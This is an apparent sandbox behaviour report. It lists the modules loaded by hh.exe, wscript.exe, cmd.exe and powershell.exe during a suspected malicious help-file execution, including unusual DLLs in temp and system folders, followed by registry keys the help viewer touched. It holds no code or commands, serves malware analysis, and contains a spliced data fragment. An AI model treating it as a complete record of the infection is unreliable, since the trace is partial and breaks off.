"COMCTL32.DLL" at base 20ec0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 8680000 "hh.exe" loaded module "USER32.DLL" at base 34f60000 "hh.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 34e70000 "hh.exe" loaded module "GDI32.DLL" at base 35220000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 1bce0000 "hh.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 34750000 "hh.exe" loaded module "OLEAUT32.DLL" at base 34da0000 "hh.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 34f60000 "hh.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 34f60000 "hh.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 347b0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 34ac0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 34580000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 2c260000 "hh.exe" loaded module "MSISO.DLL" at base 24cd0000 "hh.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 347b0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 26e70000 "hh.exe" loaded module "SSPICLI.DLL" at base 31500000 "hh.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 31900000 "hh.exe" loaded module "NTDLL.DLL" at base 35280000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\MSHTML.DLL" at base 6fd0000 "hh.exe" loaded module "MSHTML.DLL" at base 6fd0000 "hh.exe" loaded module "WLDP.DLL" at base 30630000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT9.DLL" at base 6b40000 "hh.exe" loaded module "JSCRIPT9.DLL" at base 6b40000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 19910000 "hh.exe" loaded module "ADVAPI32.DLL" at base 329e0000 "hh.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 17be0000 "hh.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 31610000 "hh.exe" loaded module "SHLWAPI.DLL" at base 32750000 "hh.exe" loaded module "VERSION.DLL" at base 2afd0000 "hh.exe" loaded module "SXS.DLL" at base 31430000 "hh.exe" loaded module "IEFRAME.DLL" at base 8680000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\MSIMTF.DLL" at base 20570000 "hh.exe" loaded module "EXT-MS-WIN-NTUSER-TOUCH-HITTEST-L1-1-0.DLL" at base 34f60000 "hh.exe" loaded module "EXT-MS-WIN-CORE-RESOURCEPOLICY-L1-1-0.DLL" at base 2ffd0000 "hh.exe" loaded module "SECUR32.DLL" at base 28ac0000 "hh.exe" loaded module "MLANG.DLL" at base 1e2b0000 "hh.exe" loaded module "PROPSYS.DLL" at base 2cba0000 "hh.exe" loaded module "WININET.DLL" at base 20a40000 "hh.exe" loaded module "PHONEINFO.DLL" at base 0 "hh.exe" loaded module "D3D10WARP.DLL" at base 2a750000 "hh.exe" loaded module "API-MS-WIN-RTCORE-NTUSER-WMPOINTER-L1-1-0.DLL" at base 34f60000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 1e2b0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 31fe0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 2cba0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 30e60000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSCODECS.DLL" at base 2d780000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSCODECSEXT.DLL" at base 1c920000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 23ca0000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 31900000 "wscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 31900000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 31900000 "wscript.exe" loaded module "KERNEL32" at base 327b0000 "wscript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 29ff0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 2fc10000 "wscript.exe" loaded module "RPCRT4.DLL" at base 328c0000 "wscript.exe" loaded module "KERNEL32.DLL" at base 327b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 1d2b0000 "wscript.exe" loaded module "AMSI.DLL" at base 2a150000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 2afd0000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 248f0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\50EBJMKG.DLL" at base 24330000 "wscript.exe" loaded module "WLDP.DLL" at base 30630000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 329e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 31680000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 30a70000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 29fe0000 "wscript.exe" loaded module "OLE32.DLL" at base 34580000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 316e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 29fc0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 1fe40000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 209c0000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 137c0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 327b0000 "wscript.exe" loaded module "USERENV.DLL" at base 314d0000 "wscript.exe" loaded module "VERSION.DLL" at base 2afd0000 "wscript.exe" loaded module "SHELL32.DLL" at base 32a90000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 2c260000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 31fe0000 "wscript.exe" loaded module "NTDLL.DLL" at base 35280000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 2cba0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 1cf10000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 32a90000 "wscript.exe" loaded module "USER32.DLL" at base 34f60000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 26e70000 "wscript.exe" loaded module "MSISO.DLL" at base 24cd0000 "wscript.exe" loaded module "SSPICLI.DLL" at base 31500000 "wscript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 31900000 "cmd.exe" loaded module "KERNEL32" at base 327b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 31900000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 31900000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 31900000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 34f20000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 31900000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 31900000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 31900000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 29ff0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 327b0000 "cmd.exe" loaded module "NTDLL.DLL" at base 35280000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 31900000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 31900000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 31900000 "powershell.exe" loaded module "KERNEL32" at base 327b0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 29ff0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 329e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 17be0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 4e960000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 31610000 "powershell.exe" loaded module "VERSION.DLL" at base 2afd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 6070000 "powershell.exe" loaded module "USER32.DLL" at base 34f60000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 31900000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 19910000 "powershell.exe" loaded module "NTDLL" at base 35280000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 347b0000 "powershell.exe" loaded module "PSAPI.DLL" at base 34f50000 "powershell.exe" loaded module "KERNEL32.DLL" at base 327b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 4a70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "RPCRT4.DLL" at base 328c0000 "powershell.exe" loaded module "OLE32.DLL" at base 34580000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 347b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 34da0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 3e00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 3380000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 1d2d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 30a70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 31db0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 1310000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 347b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 347b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 35280000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\50EBJMKG.DLL" at base 24330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 1d230000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 116a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 31680000 "powershell.exe" loaded module "CRYPT32.DLL" at base 316e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 31900000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 128f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 1a6d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 132c0000 "powershell.exe" loaded module "SECUR32.DLL" at base 28ac0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 30630000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 2fc10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 2afd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 329e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 347b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 30bf0000 "powershell.exe" loaded module "SHELL32.DLL" at base 32a90000 "powershell.exe" loaded module "BCRYPT.DLL" at base 31130000 "powershell.exe" loaded module "RASAPI32.DLL" at base 25c60000 "powershell.exe" loaded module "RASMAN.DLL" at base 25c20000 "powershell.exe" loaded module "WS2_32.DLL" at base 346e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 30e60000 "powershell.exe" loaded module "WINHTTP.DLL" at base 2bc80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 14940000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 2b1e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 2b7b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 309b0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 31500000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 219c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 23b10000 "powershell.exe" loaded module "GDI32.DLL" at base 35220000 "alg.exe" loaded module "KERNEL32" at base 327b0000 "alg.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 31900000 "alg.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 31900000 "alg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 31900000 "alg.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 34f20000 "alg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 31900000 "alg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 31900000 "alg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 31900000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 31900000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 31900000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 31900000 "WScript.exe" loaded module "KERNEL32" at base 327b0000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 29ff0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 2fc10000 "WScript.exe" loaded module "RPCRT4.DLL" at base 328c0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 327b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 29910000 "WScript.exe" loaded module "AMSI.DLL" at base 2a180000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 2afd0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 248f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\50EBJMKG.DLL" at base 298c0000 "WScript.exe" loaded module "WLDP.DLL" at base 30630000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 329e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 31680000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 30a70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 2a170000 "WScript.exe" loaded module "OLE32.DLL" at base 34580000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 316e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 298a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 248a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 28800000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 24130000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 327b0000 "WScript.exe" loaded module "USERENV.DLL" at base 314d0000 "WScript.exe" loaded module "VERSION.DLL" at base 2afd0000 "WScript.exe" loaded module "SHELL32.DLL" at base 32a90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 2c260000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 31fe0000 "WScript.exe" loaded module "NTDLL.DLL" at base 35280000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 2cba0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 1cf10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 32a90000 "WScript.exe" loaded module "USER32.DLL" at base 34f60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 26e70000 "WScript.exe" loaded module "MSISO.DLL" at base 24cd0000 "WScript.exe" loaded module "SSPICLI.DLL" at base 31500000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 31900000 "powershell.exe" loaded module "SHLWAPI.DLL" at base dc8d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 8800000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7200000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 6590000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 5b10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 29930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 3aa0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 2a180000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\50EBJMKG.DLL" at base 298e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 24840000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 23f30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 31f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 2880000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 23120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 247d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 1fe50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 29890000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 1d240000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 13ae0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 1b70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "alg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 29ff0000 "alg.exe" loaded module "RPCRT4.DLL" at base 328c000037:T186a,"hh.exe" touched "XML DOM Document 6.0" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}") "hh.exe" touched "HHCtrl Object" (Path: "HKCU\CLSID\{52A2AAAE-085D-4187-97EA-8C30DB990436}\INPROCSERVER32") "hh.exe" touched "Microsoft InfoTech IStorage System" (Path: "HKCU\CLSID\{5D02926A-212E-11D0-9DF9-00A0C922E6EC}\TREATAS") "hh.exe" touched "Microsoft Web Browser" (Path: "HKCU\CLSID\{8856F961-340A-11D0-A96B-00C04FD705A2}\TREATAS") "hh.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "hh.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "hh.exe" touched "Microsoft InfoTech Protocols for IE 4.0" (Path: "HKCU\CLSID\{9D148291-B9C8-11D0-A4CC-0000F80149F6}\TREATAS") "hh.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "hh.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\TREATAS") "hh.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKCU\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "hh.exe" touched "JScript Language" (Path: "HKCU\CLSID\{16D51579-A30B-4C8B-A276-0FF4DC41E755}\TREATAS") "hh.exe" touched "Cor MIME Filter, CorFltr, CorFltr 1" (Path: "HKCU\CLSID\{1E66F26B-79EE-11D2-8710-00C04F79ED0D}\TREATAS") "hh.exe" touched "CActiveIMMAppEx_Trident" (Path: "HKCU\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\TREATAS") "hh.exe" touched "Microsoft Url History Service" (Path: "HKCU\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "hh.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "hh.exe" touched "Browser Application State" (Path: "HKCU\CLSID\{E569BDE7-A8DC-47F3-893F-FD2B31B3EEFD}\INPROCSERVER32") "hh.exe" touched "TF_ThreadMgr" (Path: "HKCU\CLSID\{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\TREATAS") "hh.exe" touched "TF_InputProcessorProfiles" (Path: "HKCU\CLSID\{33C53A50-F456-4884-B049-85FD643ECFED}\TREATAS") "hh.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "hh.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "hh.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "hh.exe" touched "UsersLibraries" (Path: 